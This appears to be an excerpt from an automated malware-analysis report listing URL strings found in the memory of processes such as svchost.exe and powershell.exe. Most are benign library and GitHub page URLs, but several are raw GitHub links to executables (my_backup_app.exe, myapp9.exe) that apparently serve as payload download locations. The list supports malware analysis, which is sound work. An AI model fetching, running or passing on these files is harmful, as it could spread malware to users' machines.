Source: Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.gnu.org/licenses/
Source: powershell.exe, 0000001F.00000002.2092893738.0000017B7D8B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micrt.com/pkiops/certs/Microsoft%20Time-Stamp%20PCA%202010(1).crt0
Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: powershell.exe, 0000001F.00000002.2020827601.0000017B00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.0000013000B31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C14C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB7531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/_private/browser/errors
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/_private/browser/stats
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://avatars.githubusercontent.com
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.github.com/github/collect
Source: powershell.exe, 00000032.00000002.2731045402.000001FAC75BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000032.00000002.2731045402.000001FAC75BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000032.00000002.2731045402.000001FAC75BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://curl.se/V
Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://curl.se/docs/copyright.htmlD
Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/get-started/accessibility/keyboard-shortcuts
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github-cloud.s3.amazonaws.com
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.blog
Source: svchost.exe, 0000001B.00000002.2653908426.000002049944F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D90F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.c
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D90F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/collections
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/customer-stories
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/enterprise
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/enterprise/advanced-security
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/enterprise/startups
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/features
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/features/actions
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/features/code-review
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/features/codespaces
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/features/copilot
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/features/discussions
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/features/issues
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/features/packages
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/features/security
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/fluidicon.png
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/readme
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D90F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rootbossko/myfiles/raw/main/my_backup_app.exe
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rootbossko/myfiles/raw/main/my_backup_app.exe"
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rootbossko/myfiles/raw/main/myapp9.exe
Source: svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rootbossko/myfiles/raw/main/myapp9.exe"
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rootbossko/myfiles/raw/main/myapp9.exep4
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/solutions/ci-cd
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/solutions/devops
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/solutions/devsecops
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/solutions/industries/financial-services
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/solutions/industries/healthcare
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/solutions/industries/manufacturing
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/team
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/topics
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/trending
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.gith
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.github
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_as
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_m
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-11260080
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/behaviors-78844c84764f.js
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark-9c5b7a476542.css
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_colorblind-56fff47acadc.css
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_dimmed-afda8eb0fb33.css
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_high_contrast-2494e44ccdc5.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/dark_tritanopia-68d6b2c79663.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/element-registry-4ba20689fdff.js
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/environment-9d8fe9c86899.js
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/error-4eb12c8f65b5.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/github-e4eed26e112b.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/github-elements-212af089b7d6.js
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/github-logo-55c5b9a1fe52.png
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/github-mark-57519b92ca4e.png
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/github-octocat-13c86b8b336d.png
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/global-e647c9e7e18c.css
